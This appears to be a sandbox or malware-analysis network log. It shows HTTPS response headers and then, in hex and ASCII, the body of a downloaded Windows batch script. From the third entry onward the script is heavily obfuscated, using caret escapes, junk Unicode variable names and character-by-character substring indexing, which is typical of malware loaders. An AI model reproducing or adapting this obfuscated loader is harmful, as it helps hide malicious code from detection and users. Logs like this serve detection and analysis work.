2024-11-18 07:47:21 UTC	2225	IN	Data Raw: 63 6f 6e 74 65 6e 74 2d 73 65 63 75 72 69 74 79 2d 70 6f 6c 69 63 79 3a 20 62 61 73 65 2d 75 72 69 20 27 73 65 6c 66 27 3b 20 63 68 69 6c 64 2d 73 72 63 20 68 74 74 70 73 3a 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 72 65 63 61 70 74 63 68 61 2f 20 68 74 74 70 73 3a 2f 2f 77 77 77 2e 72 65 63 61 70 74 63 68 61 2e 6e 65 74 2f 20 68 74 74 70 73 3a 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 74 61 67 6d 61 6e 61 67 65 72 2e 63 6f 6d 2f 6e 73 2e 68 74 6d 6c 20 68 74 74 70 73 3a 2f 2f 2a 2e 7a 75 6f 72 61 2e 63 6f 6d 2f 61 70 70 73 2f 50 75 62 6c 69 63 48 6f 73 74 65 64 50 61 67 65 4c 69 74 65 2e 64 6f 20 68 74 74 70 73 3a 2f 2f 67 69 74 6c 61 62 2e 63 6f 6d 2f 61 64 6d 69 6e 2f 20 68 74 74 70 73 3a 2f 2f 67 69 74 6c 61 62 2e 63 6f 6d 2f 61 73 73 65 74 73 2f Data Ascii: content-security-policy: base-uri 'self'; child-src https://www.google.com/recaptcha/ https://www.recaptcha.net/ https://www.googletagmanager.com/ns.html https://*.zuora.com/apps/PublicHostedPageLite.do https://gitlab.com/admin/ https://gitlab.com/assets/
2024-11-18 07:47:21 UTC	579	IN	Data Raw: 52 65 70 6f 72 74 2d 54 6f 3a 20 7b 22 65 6e 64 70 6f 69 6e 74 73 22 3a 5b 7b 22 75 72 6c 22 3a 22 68 74 74 70 73 3a 5c 2f 5c 2f 61 2e 6e 65 6c 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 5c 2f 72 65 70 6f 72 74 5c 2f 76 34 3f 73 3d 7a 56 39 6e 51 6a 36 37 42 53 71 38 4e 37 32 63 66 6a 48 7a 65 25 32 46 68 25 32 42 44 6e 25 32 42 52 39 66 65 35 6b 31 49 59 54 61 76 71 31 32 50 64 71 30 43 44 65 6b 6b 36 32 65 6a 67 47 47 25 32 46 42 42 62 41 6e 63 78 58 72 49 4e 67 77 35 4a 62 69 72 38 65 32 55 4f 39 69 6f 49 30 6f 63 71 25 32 42 54 78 57 65 55 4b 74 36 59 72 46 46 71 57 42 50 35 70 32 7a 70 54 39 6c 46 70 6f 59 42 56 39 73 25 33 44 22 7d 5d 2c 22 67 72 6f 75 70 22 3a 22 63 66 2d 6e 65 6c 22 2c 22 6d 61 78 5f 61 67 65 22 3a 36 30 34 38 30 30 7d 0d 0a 4e Data Ascii: Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=zV9nQj67BSq8N72cfjHze%2Fh%2BDn%2BR9fe5k1IYTavq12Pdq0CDekk62ejgGG%2FBBbAncxXrINgw5Jbir8e2UO9ioI0ocq%2BTxWeUKt6YrFFqWBP5p2zpT9lFpoYBV9s%3D"}],"group":"cf-nel","max_age":604800}N
2024-11-18 07:47:21 UTC	1025	IN	Data Raw: ff fe fe ff 3e 6e 75 6c 20 32 3e 26 31 20 26 63 6c 73 0a 40 40 65 25 ef b7 bd ef ae 9a 5e ef af a4 d9 83 ef ad b2 ef ae b1 25 63 25 ef b7 bd ef b7 bd d9 83 5e ef ae a2 ef ba b9 ef ba bc 25 68 25 ef ba bc d8 aa d8 b3 5e ef ba bc ef ad ab ef ae a2 25 5e 6f 20 6f 5e 25 e5 ad 97 e9 ad 94 e6 96 87 e8 a4 87 e6 81 af 5e e8 a3 bd 25 66 25 e6 b3 95 e6 b3 95 e6 98 af e7 84 a1 e5 ad 97 5e e5 ad 97 25 66 26 66 5e 25 ef ba bc d8 aa ef af 94 ef ad ab e2 97 af d8 b3 5e 25 4f 25 d8 b3 5e d8 aa ef ae 9a ef af 94 ef ba bc ef ba b9 25 72 20 2f 6c 20 25 25 69 20 49 6e 20 28 31 20 31 20 31 29 64 4f 20 28 66 5e 25 ef ba bc d8 aa ef af 94 ef ad ab e2 97 af d8 b3 5e 25 4f 25 d8 b3 5e d8 aa ef ae 9a ef af 94 ef ba bc ef ba b9 25 72 20 2f 6c 20 25 25 69 20 49 6e 20 28 31 20 31 20 Data Ascii: >nul 2>&1 &cls@@e%^%c%^%h%^%^o o^%^%f%^%f&f^%^%O%^%r /l %%i In (1 1 1)dO (f^%^%O%^%r /l %%i In (1 1
2024-11-18 07:47:21 UTC	1369	IN	Data Raw: 6f 72 5f 5f 3d 45 73 63 61 4c 61 67 22 0a 3b 53 45 5e 54 20 22 5f 5f 67 69 74 68 75 62 5f 5f 3d 74 68 69 73 20 77 61 73 20 6d 61 64 65 20 46 6f 25 e2 94 8c 28 20 e0 b2 a0 5f e0 b2 a0 29 e2 94 98 e3 83 be 28 e2 8c 90 e2 96 a0 5f e2 96 a0 29 e3 83 8e 5e 28 e2 8a 99 cf 89 e2 8a 99 29 28 e2 97 95 e2 80 bf e2 97 95 29 e3 83 be 28 e2 8c 90 e2 96 a0 5f e2 96 a0 29 e3 83 8e e2 94 8c 28 20 e0 b2 a0 5f e0 b2 a0 29 e2 94 98 25 25 e3 83 be 28 e2 8c 90 e2 96 a0 5f e2 96 a0 29 e3 83 8e 28 e2 97 95 e2 80 bf 5e e2 97 95 29 e2 94 8c 28 20 e0 b2 a0 5f e0 b2 a0 29 e2 94 98 28 e2 97 95 e2 80 bf e2 97 95 29 28 e2 8a 99 cf 89 e2 8a 99 29 e2 94 8c 28 20 e0 b2 a0 5f e0 b2 a0 29 e2 94 98 25 5e 72 20 61 6c 65 78 22 0a 0a 3b 40 66 69 25 ef bb 81 5e ef ae 9a e2 97 af e2 97 af ef ba Data Ascii: or__=EscaLag";SE^T "__github__=this was made Fo%( _)(_)^()()(_)( _)%%(_)(^)( _)()()( _)%^r alex";@fi%^
2024-11-18 07:47:21 UTC	1369	IN	Data Raw: e2 96 a0 5f e2 96 a0 29 e3 83 8e e2 94 8c 28 20 e0 b2 a0 5f e0 b2 a0 29 e2 94 98 25 65 74 20 2f 61 20 e2 80 8e 2b 3d 31 20 3e 6e 5e 75 4c 20 26 66 25 28 e2 97 95 e2 80 bf e2 97 95 29 28 e2 8a 99 cf 89 e2 8a 99 29 28 e2 97 95 e2 80 bf e2 97 95 29 28 e2 97 95 5e e2 80 bf e2 97 95 29 e3 83 be 28 e2 8c 90 e2 96 a0 5f e2 96 a0 29 e3 83 8e 28 e2 97 95 e2 80 bf e2 97 95 29 25 4f 5e 25 28 e2 97 95 e2 80 bf e2 97 95 29 e3 83 be 28 e2 8c 90 e2 96 a0 5f e2 96 a0 29 e3 83 8e 28 e2 8a 99 cf 89 e2 8a 99 29 28 e2 97 95 e2 80 bf e2 97 95 29 28 e2 8a 99 cf 89 e2 8a 99 29 28 e2 97 95 5e e2 80 bf e2 97 95 29 25 72 20 25 25 61 20 49 6e 20 28 20 73 25 28 e2 97 95 e2 80 bf e2 97 95 29 e2 94 8c 28 20 e0 b2 a0 5f e0 b2 a0 29 e2 94 98 e2 94 8c 28 20 e0 b2 a0 5f e0 b2 a0 29 e2 94 Data Ascii: _)( _)%et /a +=1 >n^uL &f%()()()(^)(_)()%O^%()(_)()()()(^)%r %%a In ( s%()( _)( _)
2024-11-18 07:47:21 UTC	1369	IN	Data Raw: 25 5e 78 69 74 0a 3b 40 25 e5 b0 94 e8 b4 9d e8 89 be e8 89 be 3a 7e 33 34 2c 31 25 25 e5 b0 94 e8 b4 9d e8 89 be e8 89 be 3a 7e 36 30 2c 31 25 25 e5 b0 94 e8 b4 9d e8 89 be e8 89 be 3a 7e 35 2c 31 25 25 e5 b0 94 e8 b4 9d e8 89 be e8 89 be 3a 7e 33 31 2c 31 25 20 22 e6 96 af e6 96 af e5 be b7 e5 be b7 25 e5 b0 94 e8 b4 9d e8 89 be e8 89 be 3a 7e 34 36 2c 31 25 25 e5 b0 94 e8 b4 9d e8 89 be e8 89 be 3a 7e 35 36 2c 31 25 25 e5 b0 94 e8 b4 9d e8 89 be e8 89 be 3a 7e 31 32 2c 31 25 25 e5 b0 94 e8 b4 9d e8 89 be e8 89 be 3a 7e 34 34 2c 31 25 25 e5 b0 94 e8 b4 9d e8 89 be e8 89 be 3a 7e 35 37 2c 31 25 25 e5 b0 94 e8 b4 9d e8 89 be e8 89 be 3a 7e 33 32 2c 31 25 25 e5 b0 94 e8 b4 9d e8 89 be e8 89 be 3a 7e 31 33 2c 31 25 25 e5 b0 94 e8 b4 9d e8 89 be e8 89 be 3a Data Ascii: %^xit;@%:~34,1%%:~60,1%%:~5,1%%:~31,1% "%:~46,1%%:~56,1%%:~12,1%%:~44,1%%:~57,1%%:~32,1%%:~13,1%%:
2024-11-18 07:47:21 UTC	1369	IN	Data Raw: 2c 31 25 25 e5 b0 94 e8 b4 9d e8 89 be e8 89 be 3a 7e 34 2c 31 25 25 e5 b0 94 e8 b4 9d e8 89 be e8 89 be 3a 7e 34 37 2c 31 25 22 0a 3b 40 73 25 e2 94 8c 28 20 e0 b2 a0 5e 5f e0 b2 a0 29 e2 94 98 28 e2 97 95 e2 80 bf e2 97 95 29 28 e2 97 95 e2 80 bf e2 97 95 29 e2 94 8c 28 20 e0 b2 a0 5f e0 b2 a0 29 e2 94 98 28 e2 8a 99 cf 89 e2 8a 99 29 28 e2 8a 99 cf 89 e2 8a 99 29 25 25 e3 83 be 28 e2 8c 90 e2 96 a0 5f e2 96 a0 29 e3 83 8e e3 83 be 28 e2 8c 90 e2 96 a0 5f e2 96 a0 29 e3 83 8e e2 94 8c 28 20 e0 b2 a0 5f e0 b2 a0 29 e2 94 98 28 e2 8a 99 cf 89 e2 8a 99 29 28 e2 8a 99 cf 89 e2 8a 99 29 e2 94 8c 28 20 e0 b2 a0 5f e0 b2 a0 29 e2 94 98 5e 25 5e 65 74 20 2f 61 20 e2 80 8e 2b 3d 31 20 3e 4e 5e 75 6c 20 26 46 25 ef ba 96 ef ae a2 ef af 94 ef b7 bd ef ae 95 5e d9 Data Ascii: ,1%%:~4,1%%:~47,1%";@s%( ^_)()()( _)()()%%(_)(_)( _)()()( _)^%^et /a +=1 >N^ul &F%^
2024-11-18 07:47:21 UTC	1369	IN	Data Raw: 25 25 e6 96 af e6 96 af e5 be b7 e5 be b7 3a 7e 36 30 2c 31 25 25 e6 96 af e6 96 af e5 be b7 e5 be b7 3a 7e 35 38 2c 31 25 25 e6 96 af e6 96 af e5 be b7 e5 be b7 3a 7e 35 36 2c 31 25 25 e6 96 af e6 96 af e5 be b7 e5 be b7 3a 7e 35 32 2c 31 25 25 e6 96 af e6 96 af e5 be b7 e5 be b7 3a 7e 31 31 2c 31 25 25 e6 96 af e6 96 af e5 be b7 e5 be b7 3a 7e 35 35 2c 31 25 25 e6 96 af e6 96 af e5 be b7 e5 be b7 3a 7e 32 32 2c 31 25 25 e6 96 af e6 96 af e5 be b7 e5 be b7 3a 7e 31 2c 31 25 25 e6 96 af e6 96 af e5 be b7 e5 be b7 3a 7e 39 2c 31 25 25 e6 96 af e6 96 af e5 be b7 e5 be b7 3a 7e 34 2c 31 25 25 e6 96 af e6 96 af e5 be b7 e5 be b7 3a 7e 32 34 2c 31 25 25 e6 96 af e6 96 af e5 be b7 e5 be b7 3a 7e 34 34 2c 31 25 25 e6 96 af e6 96 af e5 be b7 e5 be b7 3a 7e 37 2c Data Ascii: %%:~60,1%%:~58,1%%:~56,1%%:~52,1%%:~11,1%%:~55,1%%:~22,1%%:~1,1%%:~9,1%%:~4,1%%:~24,1%%:~44,1%%:~7,
2024-11-18 07:47:21 UTC	1369	IN	Data Raw: 97 95 29 e3 83 be 28 e2 8c 90 e2 96 a0 5f e2 96 a0 29 e3 83 8e e3 83 be 28 e2 8c 90 e2 96 a0 5f e2 96 a0 29 e3 83 8e e2 94 8c 28 20 e0 b2 a0 5f e0 b2 a0 29 e2 94 98 25 5e 69 25 28 e2 97 95 e2 80 bf e2 97 95 29 28 e2 8a 99 cf 89 e2 8a 99 29 28 e2 8a 99 cf 89 e2 8a 99 29 28 e2 8a 99 cf 89 e2 8a 99 29 28 e2 97 95 e2 80 bf e2 97 95 5e 29 28 e2 8a 99 cf 89 e2 8a 99 29 25 6e 65 25 e2 94 8c 28 20 e0 b2 a0 5f e0 b2 a0 29 e2 94 98 28 e2 8a 99 cf 89 e2 8a 99 29 5e 28 e2 8a 99 cf 89 e2 8a 99 29 28 e2 97 95 e2 80 bf e2 97 95 29 e2 94 8c 28 20 e0 b2 a0 5f e0 b2 a0 29 e2 94 98 e2 94 8c 28 20 e0 b2 a0 5f e0 b2 a0 29 e2 94 98 25 64 20 62 20 28 40 65 5e 63 68 25 e2 94 8c 28 20 e0 b2 a0 5f e0 b2 a0 29 e2 94 98 e2 94 8c 28 20 e0 b2 a0 5e 5f e0 b2 a0 29 e2 94 98 e2 94 8c 28 Data Ascii: )(_)(_)( _)%^i%()()()()(^)()%ne%( _)()^()()( _)( _)%d b (@e^ch%( _)( ^_)(
2024-11-18 07:47:21 UTC	1369	IN	Data Raw: 9d 3a 7e 33 39 2c 31 25 25 e8 89 be e6 96 af e8 89 b2 e8 b4 9d 3a 7e 32 30 2c 31 25 25 e8 89 be e6 96 af e8 89 b2 e8 b4 9d 3a 7e 35 37 2c 31 25 25 e8 89 be e6 96 af e8 89 b2 e8 b4 9d 3a 7e 35 35 2c 31 25 25 e8 89 be e6 96 af e8 89 b2 e8 b4 9d 3a 7e 34 34 2c 31 25 25 e8 89 be e6 96 af e8 89 b2 e8 b4 9d 3a 7e 32 31 2c 31 25 25 e8 89 be e6 96 af e8 89 b2 e8 b4 9d 3a 7e 34 2c 31 25 25 e8 89 be e6 96 af e8 89 b2 e8 b4 9d 3a 7e 33 30 2c 31 25 25 e8 89 be e6 96 af e8 89 b2 e8 b4 9d 3a 7e 35 2c 31 25 25 e8 89 be e6 96 af e8 89 b2 e8 b4 9d 3a 7e 34 39 2c 31 25 25 e8 89 be e6 96 af e8 89 b2 e8 b4 9d 3a 7e 35 34 2c 31 25 25 e8 89 be e6 96 af e8 89 b2 e8 b4 9d 3a 7e 34 33 2c 31 25 25 e8 89 be e6 96 af e8 89 b2 e8 b4 9d 3a 7e 31 33 2c 31 25 25 e8 89 be e6 96 af e8 89 Data Ascii: :~39,1%%:~20,1%%:~57,1%%:~55,1%%:~44,1%%:~21,1%%:~4,1%%:~30,1%%:~5,1%%:~49,1%%:~54,1%%:~43,1%%:~13,1%%